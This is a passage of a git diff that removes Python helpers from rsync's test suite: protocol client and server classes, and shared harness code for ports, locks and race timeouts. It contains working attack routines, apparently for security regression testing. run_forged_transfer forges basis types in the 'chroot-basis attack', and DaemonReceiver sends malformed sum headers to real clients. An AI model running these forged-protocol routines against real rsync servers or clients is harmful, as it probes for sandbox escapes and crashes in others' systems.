absndx - self._ndx_prev_negative\n-            self._ndx_prev_negative = absndx\n-        if 0 < diff < 0xFE:\n-            b.append(diff)\n-        elif diff < 0 or diff > 0x7FFF:\n-            b += bytes([0xFE, ((absndx >> 24) | 0x80) & 0xFF, absndx & 0xFF,\n-                        (absndx >> 8) & 0xFF, (absndx >> 16) & 0xFF])\n-        else:\n-            b += bytes([0xFE, (diff >> 8) & 0xFF, diff & 0xFF])\n-        return bytes(b)\n-\n-    def send_transfer_ndx(self, ndx, iflags=0):\n-        \"\"\"Transfer-phase token: a write_ndx() index followed by the shortint\n-        iflags read by read_ndx_and_attrs() (protocol >= 29).\"\"\"\n-        self.send_data(self.w_ndx(ndx) + w_shortint(iflags))\n-\n-    def send_ndx_done(self):\n-        \"\"\"Send NDX_DONE (a single 0 byte in the ndx stream).\"\"\"\n-        self.send_data(self.w_ndx(NDX_DONE))\n-\n-    def send_subflist_marker(self, dir_ndx):\n-        \"\"\"Announce an inc_recurse sub-flist for dir_ndx: write_ndx of\n-        NDX_FLIST_OFFSET - dir_ndx (a negative index).\"\"\"\n-        self.send_data(self.w_ndx(NDX_FLIST_OFFSET - dir_ndx))\n-\n-    def run_forged_transfer(self, forged_type, xname, literal_tail=b'',\n-                            file_csum_len=16, max_phase=2):\n-        \"\"\"Drive the sender side of the transfer phase, FORGING fnamecmp_type on\n-        every file the generator requests (the chroot-basis attack): for each\n-        request, read its iflags / basis-type / xname / sum header + block sums,\n-        then send back the ndx with our forged basis type + xname, the echoed sum\n-        header, a delta that MATCHES block 0 of the (forged) basis plus the given\n-        literal tail, and a deliberately wrong whole-file checksum (so the\n-        receiver -- if it opened the forged basis -- reconstructs the wrong bytes\n-        and logs 'failed verification'). Loops through both transfer phases (the\n-        checksum-mismatch redo) until NDX_DONE has advanced past max_phase.\n-\n-        Stops early (returns) if the receiver drops the connection mid-transfer\n-        -- e.g. a confined receiver that refuses the forged basis and exits with\n-        'got a block match with no basis file'.\"\"\"\n-        try:\n-            self._forged_transfer_loop(forged_type, xname, literal_tail,\n-                                       file_csum_len, max_phase)\n-        except (ProtocolError, socket.timeout, OSError):\n-            pass\n-\n-    def _forged_transfer_loop(self, forged_type, xname, literal_tail,\n-                              file_csum_len, max_phase):\n-        phase = 0\n-        while True:\n-            ndx = self.r_ndx()\n-            if ndx == NDX_DONE:\n-                self.send_data(self.w_ndx(NDX_DONE))\n-                phase += 1\n-                if phase > max_phase:\n-                    break\n-                continue\n-            iflags = self.r_shortint()\n-            if iflags & ITEM_BASIS_TYPE_FOLLOWS:\n-                self.r_byte()\n-            if iflags & ITEM_XNAME_FOLLOWS:\n-                self.r_vstring()\n-            count, blength, s2length, remainder = self.r_sum_head()\n-            for _ in range(count):\n-                self.r_int()             # block weak checksum\n-                self.r_buf(s2length)     # block strong checksum\n-            out = bytearray()\n-            out += self.w_ndx(ndx)\n-            out += w_shortint(iflags | ITEM_BASIS_TYPE_FOLLOWS | ITEM_XNAME_FOLLOWS)\n-            out += w_byte(forged_type)\n-            out += w_vstring(xname)\n-            out += w_sum_head(count, blength, s2length, remainder)\n-            if count > 0:\n-                out += w_int(-1)         # match block 0 of the (forged) basis\n-            if literal_tail:\n-                out += w_int(len(literal_tail)) + literal_tail\n-            out += w_int(0)              # end-of-file token\n-            out += b'\\x00' * file_csum_len  # wrong whole-file checksum\n-            self.send_data(bytes(out))\n-\n-    # -- receive side (pull / list) --------------------------------------\n-    def recv_flist(self, preserve_links=True):\n-        \"\"\"Send the (empty) filter list the sender expects, then read + parse\n-        the daemon's file list.  Returns a list of ParsedEntry.  Decodes the\n-        -lt subset (no uid/gid/devices); override for more.  This is a natural\n-        hook point: a test can subclass and tamper with what it returns.\"\"\"\n-        self.send_data(w_int(0))                 # empty filter list (terminator)\n-        entries = []\n-        prev_name = b''\n-        prev_mode = 0\n-        prev_mtime = 0\n-        while True:\n-            flags = self.r_byte()\n-            if flags & XMIT_EXTENDED_FLAGS:\n-                flags |= self.r_byte() << 8\n-            if flags == 0:\n-                break                            # end of list (no io_error at p30)\n-            l1 = self.r_byte() if flags & XMIT_SAME_NAME else 0\n-            l2 = self.r_varint30() if flags & XMIT_LONG_NAME else self.r_byte()\n-            name = prev_name[:l1] + self.r_buf(l2)\n-            prev_name = name\n-            length = self.r_varlong30(3)\n-            if not (flags & XMIT_SAME_TIME):\n-                prev_mtime = self.r_varlong30(4)\n-            mtime = prev_mtime\n-            if flags & XMIT_MOD_NSEC:\n-                self.r_varint()                  # nsec, ignored\n-            if not (flags & XMIT_SAME_MODE):\n-                prev_mode = self.r_int()\n-            mode = prev_mode\n-            link_target = None\n-            if preserve_links and S_ISLNK(mode):\n-                link_target = self.r_buf(self.r_varint30())\n-            entries.append(ParsedEntry(name, mode, length, mtime, link_target))\n-        return entries\n-\n-    def make_request(self, ndx):\n-        \"\"\"Generator request for a whole-file transfer of `ndx`: the ndx, the\n-        item flags, and a count=0 sum header (no local basis).  Overridable\n-        hook -- a test can return a malformed request here.\"\"\"\n-        return (self.w_ndx(ndx) + w_shortint(ITEM_TRANSFER)\n-                + w_sum_head(0, 0, 0, 0))\n-\n-    def recv_file_transfer(self, ndx):\n-        \"\"\"Read one file the sender sends in reply to make_request(): item\n-        flags, optional basis type / xname, the echoed sum header, the literal\n-        token stream, and the whole-file checksum.  Returns the file bytes.\"\"\"\n-        iflags = self.r_shortint()\n-        if iflags & ITEM_BASIS_TYPE_FOLLOWS:\n-            self.r_byte()\n-        if iflags & ITEM_XNAME_FOLLOWS:\n-            self.r_vstring()\n-        self.r_sum_head()                        # count=0 for a whole-file pull\n-        data = bytearray()\n-        while True:\n-            tok = self.r_int()\n-            if tok == 0:\n-                break                            # end of file\n-            if tok > 0:\n-                data += self.r_buf(tok)          # literal chunk\n-            else:\n-                raise ProtocolError(f\"unexpected block match token {tok} \"\n-                                    \"(no basis was offered)\")\n-        self.r_buf(self.xfer_sum_len)            # whole-file checksum (unverified)\n-        return bytes(data)\n-\n-    def pull(self, dest_dir, verbose=False, preserve_times=True,\n-             preserve_perms=True):\n-        \"\"\"Receive the file list and materialise it under dest_dir: make\n-        directories, create symlinks, and download regular files (whole-file\n-        requests).  Returns the parsed file list.\"\"\"\n-        import os\n-        # rsync indexes the file list by SORTED order, so the transfer ndx is\n-        # the sorted position (both peers sort identically).\n-        entries = sort_entries(self.recv_flist())\n-        reg = []                                 # (ndx, entry, path) to fetch\n-        for ndx, e in enumerate(entries):\n-            rel = e.name.decode('utf-8', 'surrogateescape')\n-            if rel in ('.', ''):\n-                continue\n-            path = os.path.join(dest_dir, rel)\n-            if e.is_dir:\n-                os.makedirs(path, exist_ok=True)\n-            elif e.is_link and e.link_target is not None:\n-                tgt = e.link_target.decode('utf-8', 'surrogateescape')\n-                if os.path.lexists(path):\n-                    os.unlink(path)\n-                os.symlink(tgt, path)\n-            elif e.is_reg:\n-                reg.append((ndx, e, path))\n-            if verbose:\n-                print(rel)\n-        # Phase 1: send all whole-file requests, then NDX_DONE.\n-        for ndx, e, path in reg:\n-            self.send_data(self.make_request(ndx))\n-        self.send_data(self.w_ndx(NDX_DONE))\n-        # Read replies, mirroring the sender's per-phase NDX_DONE handshake.\n-        got = {}\n-        phase = 1\n-        while True:\n-            ndx = self.r_ndx()\n-            if ndx == NDX_DONE:\n-                phase += 1\n-                if phase > 2:\n-                    break\n-                self.send_data(self.w_ndx(NDX_DONE))   # phase 2: no redos\n-                continue\n-            got[ndx] = self.recv_file_transfer(ndx)\n-        for ndx, e, path in reg:\n-            if ndx not in got:\n-                continue\n-            with open(path, 'wb') as fh:\n-                fh.write(got[ndx])\n-            if preserve_perms:\n-                os.chmod(path, e.mode & 0o7777)\n-            if preserve_times:\n-                os.utime(path, (e.mtime, e.mtime))\n-        return entries\n-\n-    def finish_no_transfer(self):\n-        \"\"\"Walk the per-phase NDX_DONE handshake with no files requested -- used\n-        after --list-only so the daemon shuts down cleanly.\"\"\"\n-        self.send_data(self.w_ndx(NDX_DONE))\n-        phase = 1\n-        try:\n-            while True:\n-                if self.r_ndx() == NDX_DONE:\n-                    phase += 1\n-                    if phase > 2:\n-                        break\n-                    self.send_data(self.w_ndx(NDX_DONE))\n-        except (ProtocolError, socket.timeout, OSError):\n-            pass\n-\n-    # -- send side (basic push) ------------------------------------------\n-    def push(self, files, modtime=1700000000):\n-        \"\"\"Basic upload: `files` is a list of (name, content) regular files.\n-        Send the file list, then satisfy the receiver's whole-file requests with\n-        the literal content + its md5 (the proto-30 whole-file digest is plain\n-        md5, no seed).  Overridable pieces: make_file_token_stream().\"\"\"\n-        import hashlib\n-        names = [n.encode() if isinstance(n, str) else n for n, _ in files]\n-        entries = [FileEntry(n, mode=S_IFREG | 0o644, length=len(c),\n-                             modtime=modtime, protocol=self.protocol)\n-                   for n, (_, c) in zip(names, files)]\n-        self.send_flat_flist(entries)\n-        # The receiver requests by sorted ndx; map it back to our content.\n-        order = sorted(range(len(files)), key=lambda i: names[i])\n-        content_by_ndx = {ndx: files[i][1] for ndx, i in enumerate(order)}\n-        phase = 0\n-        while True:\n-            ndx = self.r_ndx()\n-            if ndx == NDX_DONE:\n-                self.send_data(self.w_ndx(NDX_DONE))\n-                phase += 1\n-                if phase > 2:\n-                    break\n-                continue\n-            iflags = self.r_shortint()\n-            if iflags & ITEM_BASIS_TYPE_FOLLOWS:\n-                self.r_byte()\n-            if iflags & ITEM_XNAME_FOLLOWS:\n-                self.r_vstring()\n-            count, blength, s2length, remainder = self.r_sum_head()\n-            for _ in range(count):\n-                self.r_int()\n-                self.r_buf(s2length)\n-            content = content_by_ndx.get(ndx, b'')\n-            out = bytearray()\n-            out += self.w_ndx(ndx)\n-            out += w_shortint(ITEM_TRANSFER)\n-            out += w_sum_head(0, 0, 0, 0)\n-            out += self.make_file_token_stream(content)\n-            out += hashlib.md5(content).digest()\n-            self.send_data(bytes(out))\n-\n-    def make_file_token_stream(self, content):\n-        \"\"\"Whole-file literal token stream (token.c simple_send_token, no -z):\n-        CHUNK_SIZE-sized literal runs then a 0 end token.  Overridable hook.\"\"\"\n-        out = bytearray()\n-        for off in range(0, len(content), CHUNK_SIZE):\n-            chunk = content[off:off + CHUNK_SIZE]\n-            out += w_int(len(chunk)) + chunk\n-        out += w_int(0)\n-        return bytes(out)\n-\n-    def drain(self, timeout=3.0):\n-        \"\"\"Read whatever the daemon sends back until EOF/timeout.  Returns the\n-        raw bytes (mux frames undecoded); used only to detect a dropped\n-        connection (crash) vs an orderly close.\"\"\"\n-        self.sock.settimeout(timeout)\n-        out = b''\n-        try:\n-            while True:\n-                chunk = self.sock.recv(65536)\n-                if not chunk:\n-                    break\n-                out += chunk\n-        except socket.timeout:\n-            pass\n-        return out\n-\n-    def close(self):\n-        try:\n-            self.sock.close()\n-        except OSError:\n-            pass\n-\n-\n-# Back-compat alias: the existing security tests speak of a \"DaemonSender\".\n-DaemonSender = DaemonClient\n-\n-\n-class DaemonReceiver:\n-    \"\"\"The SERVER side of the daemon protocol -- the inverse of DaemonSender.\n-    Accepts a real rsync client and runs the @RSYNCD handshake + protocol-30\n-    setup as the daemon.  The @RSYNCD handshake is direction-agnostic, so after\n-    setup this can drive either role: when the client PUSHES (client = sender)\n-    we act as the receiver/generator and send transfer requests (e.g. malformed\n-    sum headers); when the client PULLS (client = receiver) we act as the sender\n-    and send a file list (e.g. one carrying an oversized xattr datum).  Both are\n-    things rsync_proto's client/sender role cannot do.\n-\n-    The two stream directions are independent, so we never need to parse the\n-    client's file list: we just send a request for an index the client's flist\n-    is known to contain (index 0 for a single pushed file) and let the client's\n-    send_files() read it.  After sending we drain the client's stream so its\n-    flist writes don't block while it reaches the request and errors out.\"\"\"\n-\n-    def __init__(self, sock, greeting_version=30, protocol=DEFAULT_PROTOCOL):\n-        self.sock = sock\n-        self.protocol = protocol\n-        self.greeting_version = greeting_version\n-        self._rbuf = b''\n-        self._ndx_prev_positive = -1\n-        self._ndx_prev_negative = 1\n-\n-    # -- low-level I/O (mirrors DaemonSender) -----------------------------\n-    def _send_raw(self, data):\n-        self.sock.sendall(data)\n-\n-    def _recv_exact(self, n):\n-        data = b''\n-        while len(data) < n:\n-            if self._rbuf:\n-                take = self._rbuf[:n - len(data)]\n-                self._rbuf = self._rbuf[len(take):]\n-                data += take\n-                continue\n-            chunk = self.sock.recv(n - len(data))\n-            if not chunk:\n-                raise ProtocolError(f\"EOF after {len(data)}/{n} bytes\")\n-            data += chunk\n-        return data\n-\n-    def _readline(self):\n-        line = b''\n-        while not line.endswith(b'\\n'):\n-            if self._rbuf:\n-                c, self._rbuf = self._rbuf[:1], self._rbuf[1:]\n-            else:\n-                c = self.sock.recv(1)\n-                if not c:\n-                    raise ProtocolError(\"EOF reading a line\")\n-            line += c\n-        return line.decode('latin-1').rstrip('\\n')\n-\n-    def _frame(self, code, payload):\n-        hdr = struct.pack('<I', ((MPLEX_BASE + code) << 24) | len(payload))\n-        return hdr + payload\n-\n-    def send_data(self, payload):\n-        self._send_raw(self._frame(MSG_DATA, payload))\n-\n-    def w_ndx(self, ndx):\n-        # Identical to DaemonSender.w_ndx (io.c write_ndx, protocol >= 30).\n-        if ndx == NDX_DONE:\n-            return b'\\x00'\n-        b = bytearray()\n-        if ndx >= 0:\n-            diff = ndx - self._ndx_prev_positive\n-            self._ndx_prev_positive = ndx\n-            absndx = ndx\n-        else:\n-            b.append(0xFF)\n-            absndx = -ndx\n-            diff = absndx - self._ndx_prev_negative\n-            self._ndx_prev_negative = absndx\n-        if 0 < diff < 0xFE:\n-            b.append(diff)\n-        elif diff < 0 or diff > 0x7FFF:\n-            b += bytes([0xFE, ((absndx >> 24) | 0x80) & 0xFF, absndx & 0xFF,\n-                        (absndx >> 8) & 0xFF, (absndx >> 16) & 0xFF])\n-        else:\n-            b += bytes([0xFE, (diff >> 8) & 0xFF, diff & 0xFF])\n-        return bytes(b)\n-\n-    # -- handshake (server side) -----------------------------------------\n-    def handshake(self, compat_flags=0, seed=0):\n-        \"\"\"Send the daemon greeting, read the client's greeting + module line,\n-        send '@RSYNCD: OK', then write the protocol-30 setup (compat flags +\n-        checksum seed).  We don't read the client's NUL-separated args: it sends\n-        them after reading our OK and reads our compat/seed afterwards, and the\n-        directions are independent.\"\"\"\n-        self._send_raw(f\"@RSYNCD: {self.greeting_version}.0\\n\".encode())\n-        self._readline()                 # client greeting (version[, digests])\n-        self._readline()                 # module name\n-        self._send_raw(b\"@RSYNCD: OK\\n\")\n-        self._send_raw(w_varint(compat_flags) + w_int(seed))\n-        # Multiplexing is now active in both directions.\n-\n-    # -- generator requests ----------------------------------------------\n-    def send_sum_request(self, ndx, count, blength, s2length, remainder,\n-                         iflags=ITEM_TRANSFER):\n-        \"\"\"As the generator, request a transfer of file `ndx` with the given\n-        (possibly malformed) sum header -- ndx + iflags + write_sum_head(), the\n-        bytes the client's send_files()/receive_sums() read.\"\"\"\n-        buf = (self.w_ndx(ndx) + w_shortint(iflags)\n-               + w_sum_head(count, blength, s2length, remainder))\n-        self.send_data(buf)\n-\n-    def drain(self, timeout=5.0):\n-        \"\"\"Read and discard the client's stream until it closes (it pushes its\n-        file list, reaches our request, errors, and disconnects).\"\"\"\n-        self.sock.settimeout(timeout)\n-        try:\n-            while self.sock.recv(65536):\n-                pass\n-        except (OSError, ProtocolError):\n-            pass\n-\n-    def close(self):\n-        try:\n-            self.sock.close()\n-        except OSError:\n-            pass\ndiff --git a/testsuite/rsyncfns.py b/testsuite/rsyncfns.py\ndeleted file mode 100644\nindex 0cb473e..0000000\n--- a/testsuite/rsyncfns.py\n+++ /dev/null\n@@ -1,2910 +0,0 @@\n-\"\"\"Shared helpers for rsync's Python test scripts.\n-\n-This is the Python counterpart of testsuite/rsync.fns. It exposes only what\n-the Python-rewritten tests actually need; grow it as more shell tests are\n-ported.\n-\n-Conventions matching the shell harness:\n-  * Exit codes (see the Exit enum): 0=pass, 1=fail, 2=error, 77=skip, 78=xfail.\n-  * The runner sets these environment variables before invoking each test:\n-      scratchdir   per-test scratch directory\n-      srcdir       rsync source directory\n-      TOOLDIR      build directory (holds the rsync binary and helpers)\n-      RSYNC        the rsync command line (may include valgrind / --protocol=N)\n-      TLS_ARGS     extra arguments to pass to the 'tls' helper\n-      suitedir     this directory (testsuite/)\n-\"\"\"\n-\n-from __future__ import annotations\n-\n-import atexit\n-import fcntl\n-import filecmp\n-import errno\n-import math\n-import os\n-import platform\n-import re\n-import shlex\n-import shutil\n-import signal\n-import socket as _socket\n-import stat\n-import struct\n-import subprocess\n-import sys\n-import tempfile\n-import time\n-from pathlib import Path\n-\n-from exitcodes import Exit   # re-exported: tests may `from rsyncfns import Exit`\n-\n-\n-# --- environment -----------------------------------------------------------\n-\n-def _required(name: str) -> str:\n-    v = os.environ.get(name)\n-    if not v:\n-        sys.stderr.write(\n-            f\"rsyncfns: required environment variable {name} is not set; \"\n-            \"run this test via runtests.py rather than directly.\\n\"\n-        )\n-        sys.exit(Exit.ERROR)\n-    return v\n-\n-\n-SCRATCHDIR = Path(_required('scratchdir'))\n-SRCDIR = Path(_required('srcdir'))\n-TOOLDIR = Path(_required('TOOLDIR'))\n-SUITEDIR = Path(os.environ.get('suitedir', SRCDIR / 'testsuite'))\n-\n-# rsync.fns set `umask 022` for every shell test, so the suite's expected\n-# file/dir modes are computed against that baseline. Mirror it here so the\n-# Python tests are deterministic regardless of the caller's ambient umask\n-# (e.g. a CI runner with umask 077) -- several permission tests depend on\n-# newly-created dirs being 0755. Individual tests may still narrow it (e.g.\n-# chmod-option uses 002 for its --chmod comparison).\n-os.umask(0o022)\n-\n-# rsync.fns overrides HOME to $scratchdir; tests that exercise ssh-style\n-# transfers with no path component (e.g. localhost: at end of args) rely on\n-# HOME pointing at the per-test scratch dir.\n-os.environ['HOME'] = str(SCRATCHDIR)\n-RSYNC = _required('RSYNC')         # full command line, possibly with valgrind/protocol\n-\n-# The \"peer\" rsync command -- used for the SERVER side of two-sided transfers\n-# (the daemon process; the remote-shell --rsync-path target). The runner sets\n-# RSYNC_PEER to a second binary when invoked with --rsync-bin2, letting a run\n-# mix two rsync versions over the wire. When no second binary was selected,\n-# RSYNC_PEER == RSYNC, so every consumer below behaves exactly as before and\n-# single-binary runs are unchanged. Use .get (not _required) so a test invoked\n-# by hand without the runner still works.\n-RSYNC_PEER = os.environ.get('RSYNC_PEER', RSYNC)\n-\n-\n-def split_rsync_cmd(cmd: str) -> list:\n-    \"\"\"Split an rsync command string into argv, tolerating spaces in the path.\n-\n-    RSYNC may be a wrapper command ('valgrind --tool=memcheck /build/rsync'),\n-    which has to be split, or a plain path to the binary, which must not be if\n-    it contains a space -- shlex.split() would turn '/ws test/rsync' into two\n-    nonexistent programs.  A path that exists is one word by definition, so\n-    check that first and only fall back to splitting for a real command line.\n-\n-    Call this at use time, never once at import: tests such as chown-fake\n-    append ' --fake-super' to rsyncfns.RSYNC part-way through, and a cached\n-    split would keep handing back the pre-mutation command.\n-    \"\"\"\n-    if os.path.isfile(cmd):\n-        return [cmd]\n-    # The path may be followed by options -- chown-fake and friends append\n-    # ' --fake-super' to RSYNC -- so the whole string is no longer a filename.\n-    # Take the longest leading run that names an existing file as the program\n-    # and split only what follows.\n-    for m in reversed(list(re.finditer(r'\\s+', cmd))):\n-        head = cmd[:m.start()]\n-        if os.path.isfile(head):\n-            return [head] + shlex.split(cmd[m.start():])\n-    return shlex.split(cmd)\n-\n-\n-def _under_valgrind():\n-    \"\"\"True when the runner wrapped rsync in valgrind (runtests.py --valgrind).\n-\n-    Match the wrapper's program name (first token of RSYNC or RSYNC_PEER), not a\n-    bare 'valgrind' substring, so an rsync path that merely contains the word\n-    does not false-trigger.\n-    \"\"\"\n-    for cmd in (RSYNC, RSYNC_PEER):\n-        if os.path.basename(shlex.split(cmd)[0]) == 'valgrind':\n-            return True\n-    return False\n-\n-# TLS_ARGS controls how the 'tls' helper formats listings (e.g. --atimes,\n-# -l, -L). Tests that exercise non-default rsync features (atimes, etc.)\n-# assign to rsyncfns.TLS_ARGS before calling checkit / rsync_ls_lR.\n-TLS_ARGS = os.environ.get('TLS_ARGS', '')\n-\n-# Daemon-mode transport. The DEFAULT is the secure stdio-pipe mechanism\n-# (RSYNC_CONNECT_PROG), which opens no listening socket at all. The runner\n-# sets RSYNC_TEST_USE_TCP=1 only when invoked with --use-tcp, which switches\n-# daemon tests to a real rsyncd bound to loopback (see start_test_daemon).\n-USE_TCP = os.environ.get('RSYNC_TEST_USE_TCP') == '1'\n-\n-# Budget (seconds) a TOCTOU symlink-race test may spend trying to win its race\n-# before giving up. Set by runtests.py --race-timeout; when the operator did not\n-# pass it, each test keeps its own default (see race_budget).\n-_RACE_TIMEOUT_SET = 'race_timeout' in os.environ\n-try:\n-    RACE_TIMEOUT = float(os.environ.get('race_timeout', '5'))\n-except ValueError:\n-    # A malformed value counts as NOT set, so every test keeps its own default.\n-    # Falling back to the 5s baseline while still counting as \"set\" would\n-    # silently cut a 10s or 15s oracle in half -- weakening a security test\n-    # that nobody asked to shorten, which is the exact failure this knob's\n-    # validation exists to prevent.\n-    RACE_TIMEOUT = 5.0\n-    _RACE_TIMEOUT_SET = False\n-\n-\n-def race_budget(default: float = 5.0) -> float:\n-    \"\"\"Seconds this race test may spend trying to provoke an escape.\n-\n-    A race test is a NEGATIVE oracle: it passes by *failing* to break in before\n-    the budget runs out, so it always spends the whole budget. The budget is\n-    therefore the test's runtime -- these are the suite's slowest tests, which\n-    is exactly why the knob has to work.\n-\n-    Tests needing longer than the 5s baseline to be a credible oracle pass their\n-    own `default`. An explicit --race-timeout overrides every default, in both\n-    directions: the old `max(RACE_TIMEOUT, 10.0)` idiom ignored the option below\n-    10s, so the documented knob did nothing for most of these tests.\n-\n-    Lowering the budget weakens the oracle (fewer flips observed = less chance\n-    of catching a regression), so the defaults here are deliberately generous.\n-\n-    A non-positive or non-finite budget is never a legitimate request: the race\n-    loop would run zero times and the test would report PASS without testing\n-    anything. runtests.py rejects that at the command line; ignoring it here too\n-    keeps the guarantee when race_timeout arrives straight from the environment.\n-    \"\"\"\n-    if _RACE_TIMEOUT_SET and math.isfinite(RACE_TIMEOUT) and RACE_TIMEOUT > 0:\n-        return RACE_TIMEOUT\n-    return default\n-\n-# Mnemonics for rsync's itemize-changes (-i / -ii) format:\n-#   all_plus   ->  +++++++++   every attribute changed (an additive create)\n-#   allspace   ->             every attribute unchanged\n-#   dots       ->  .....       trailing dots after the change columns\n-all_plus = '+++++++++'\n-allspace = '         '\n-dots = '.....'\n-\n-# The \"$tmpdir/from\", \"$tmpdir/to\", \"$tmpdir/chk\" layout from rsync.fns.\n-TMPDIR = SCRATCHDIR\n-FROMDIR = SCRATCHDIR / 'from'\n-TODIR = SCRATCHDIR / 'to'\n-CHKDIR = SCRATCHDIR / 'chk'\n-CHKFILE = SCRATCHDIR / 'rsync.chk'\n-OUTFILE = SCRATCHDIR / 'rsync.out'\n-\n-\n-# --- result reporting ------------------------------------------------------\n-\n-def test_fail(msg: str) -> 'None':\n-    sys.stderr.write(msg.rstrip() + '\\n')\n-    sys.exit(Exit.FAIL)\n-\n-\n-def test_skipped(msg: str) -> 'None':\n-    sys.stderr.write(msg.rstrip() + '\\n')\n-    (TMPDIR / 'whyskipped').write_text(msg.rstrip() + '\\n')\n-    sys.exit(Exit.SKIP)\n-\n-\n-def test_xfail(msg: str) -> 'None':\n-    sys.stderr.write(msg.rstrip() + '\\n')\n-    sys.exit(Exit.XFAIL)\n-\n-\n-# --- rsync invocation ------------------------------------------------------\n-\n-# --- TCP port coordination across parallel tests ---------------------------\n-\n-_PORT_LOCK_PATH = '/tmp/rsync_test.lck'\n-_port_lock_fd = None\n-_reaped_stale = False\n-\n-# The lock file doubles as a registry of the rsyncd pid bound to each port, so a\n-# later run that wins the (orphan-released) lock can find and reap a daemon a\n-# SIGKILLed run stranded. The byte-range LOCKS sit at offsets 0..65535 (one byte\n-# per port number); the pid RECORDS sit in a separate region past them, one\n-# native-endian int32 (a pid_t) per port, written/read only while holding that\n-# port's lock so they're never raced. The file is host-local, so native endian is\n-# fine; an all-zero record (a sparse/older lock file) reads back as pid 0.\n-_PORT_PID_BASE = 1 << 16      # past every possible port lock byte (port < 65536)\n-_PORT_PID_REC = 8             # two native-endian int32 per port: (pgid, pid)\n-\n-# Bytes 0..3 hold a magic identifying the lock-file layout. A fresh (all-zero)\n-# file gets it written under the byte-0 lock; a non-zero value that doesn't match\n-# means a stale file from an incompatible testsuite layout -- we error rather\n-# than misread the (pgid, pid) records. Bytes 0..3 also sit in the port-lock byte\n-# region, but ports 0..3 are never test ports so the overlap is harmless. Fixed\n-# arbitrary value; bump it on any on-disk layout change.\n-_LOCK_MAGIC = 0x9d4f2b8a\n-\n-\n-def _open_lock_file() -> int:\n-    \"\"\"Open (or create) the host-wide port-lock file, defending against a\n-    local attacker who pre-plants the well-known /tmp path. CI runs some\n-    tests under sudo, so we must never let root open/chmod an attacker-\n-    controlled target.\n-\n-    Strategy:\n-      * Try an O_EXCL|O_CREAT create. If we win, the file is brand-new,\n-        regular, owned by us and nlink==1 -- the ONLY case where we widen\n-        the mode to 0o666 (so a second user sharing the lock can open it\n-        RDWR; the create mode is otherwise narrowed by umask).\n-      * If it already exists, open it WITHOUT O_CREAT, WITHOUT chmod, and\n-        with O_NOFOLLOW so a planted symlink fails (ELOOP) rather than\n-        being followed. Then require a pristine regular file with nlink==1,\n-        rejecting a hard link to some other (e.g. root-owned 0600) file --\n-        O_NOFOLLOW alone does not catch hard links.\n-    \"\"\"\n-    nofollow = getattr(os, 'O_NOFOLLOW', 0)\n-\n-    # Path 1: we create it ourselves, exclusively.\n-    try:\n-        fd = os.open(_PORT_LOCK_PATH,\n-                     os.O_CREAT | os.O_EXCL | os.O_RDWR | nofollow, 0o666)\n-    except FileExistsError:\n-        fd = None\n-    if fd is not None:\n-        try:\n-            os.fchmod(fd, 0o666)  # we own this fresh file; undo umask\n-        except OSError:\n-            pass\n-        _check_or_write_magic(fd)\n-        return fd\n-\n-    # Path 2: it already exists -- open without creating or chmod'ing.\n-    try:\n-        fd = os.open(_PORT_LOCK_PATH, os.O_RDWR | nofollow)\n-    except OSError as e:\n-        test_fail(f\"cannot open lock file {_PORT_LOCK_PATH}: {e} \"\n-                  \"(refusing to follow a symlink -- possible tampering)\")\n-    st = os.fstat(fd)\n-    if not stat.S_ISREG(st.st_mode) or st.st_nlink != 1:\n-        os.close(fd)\n-        test_fail(f\"lock file {_PORT_LOCK_PATH} is not a pristine regular \"\n-                  f\"file (type/nlink check failed -- possible tampering)\")\n-    _check_or_write_magic(fd)\n-    return fd\n-\n-\n-def _check_or_write_magic(fd: int) -> 'None':\n-    \"\"\"Validate (or stamp) the layout-version magic in bytes 0..3.\n-\n-    Serialise on the byte-0 lock (also port 0's lock byte, never a test port) so\n-    two starting runs don't race the stamp. An all-zero header is a fresh file --\n-    write the magic. A non-zero header that doesn't match means a stale lock file\n-    from an incompatible testsuite layout (e.g. the old 4-byte pid records); error\n-    out so we never misread its records as (pgid, pid).\"\"\"\n-    fcntl.lockf(fd, fcntl.LOCK_EX, 4, 0)\n-    try:\n-        rec = os.pread(fd, 4, 0)\n-        cur = struct.unpack('=I', rec)[0] if len(rec) == 4 else 0\n-        if cur == 0:\n-            os.pwrite(fd, struct.pack('=I', _LOCK_MAGIC), 0)\n-        elif cur != _LOCK_MAGIC:\n-            os.close(fd)\n-            test_fail(f\"lock file {_PORT_LOCK_PATH} has layout magic \"\n-                      f\"{cur:#010x}, expected {_LOCK_MAGIC:#010x} -- a stale file \"\n-                      \"from an incompatible testsuite. Remove it and retry.\")\n-    except (OSError, struct.error):\n-        pass\n-    finally:\n-        try:\n-            fcntl.lockf(fd, fcntl.LOCK_UN, 4, 0)\n-        except OSError:\n-            pass\n-\n-\n-def _record_port_proc(port: int, pgid: int, pid: int) -> 'None':\n-    \"\"\"Record (or clear, with pgid==pid==0) the test process group and rsyncd pid\n-    bound to `port`. The caller holds the port's lock. The pgid reaps the whole\n-    test (daemon + clients + flipper) with one killpg; the pid is the recycle\n-    guard (_pid_is_rsync) so we only kill a group still running our rsync.\"\"\"\n-    if _port_lock_fd is None:\n-        return\n-    try:\n-        os.pwrite(_port_lock_fd, struct.pack('=ii', pgid, pid),\n-                  _PORT_PID_BASE + port * _PORT_PID_REC)\n-    except (OSError, struct.error):\n-        pass\n-\n-\n-def _read_port_proc(port: int) -> 'tuple':\n-    \"\"\"Read the recorded (pgid, pid) for `port`, or (0, 0) if none. Caller holds\n-    the lock.\n-\n-    Normalises a pid <= 1 to (0, 0): a record holding 0 / negative / garbage must\n-    NEVER be treated as a real pid (os.kill/os.killpg of 0 or -N would signal a\n-    whole process group). Only pid > 1 is a candidate, and _pid_is_rsync() still\n-    verifies it before any kill.\"\"\"\n-    if _port_lock_fd is None:\n-        return (0, 0)\n-    try:\n-        rec = os.pread(_port_lock_fd, _PORT_PID_REC,\n-                       _PORT_PID_BASE + port * _PORT_PID_REC)\n-        if len(rec) != _PORT_PID_REC:\n-            return (0, 0)\n-        pgid, pid = struct.unpack('=ii', rec)\n-    except (OSError, struct.error):\n-        return (0, 0)\n-    return (pgid, pid) if pid > 1 else (0, 0)\n-\n-\n-def _pid_is_rsync(pid: int) -> bool:\n-    \"\"\"True if `pid` is a live process whose command is rsync. Guards against a\n-    recycled pid before we kill it. Tries `ps -p N -o comm=` (precise, Linux/BSD/\n-    Solaris/macOS) and falls back to plain `ps -p N` (Cygwin's ps rejects -o but\n-    still prints the command). If neither confirms it, return False (leave the\n-    process alone).\"\"\"\n-    if pid <= 1:\n-        return False   # 0/-N would make os.kill signal a whole process group\n-    if pid == os.getpid():\n-        return False   # never signal ourselves\n-    try:\n-        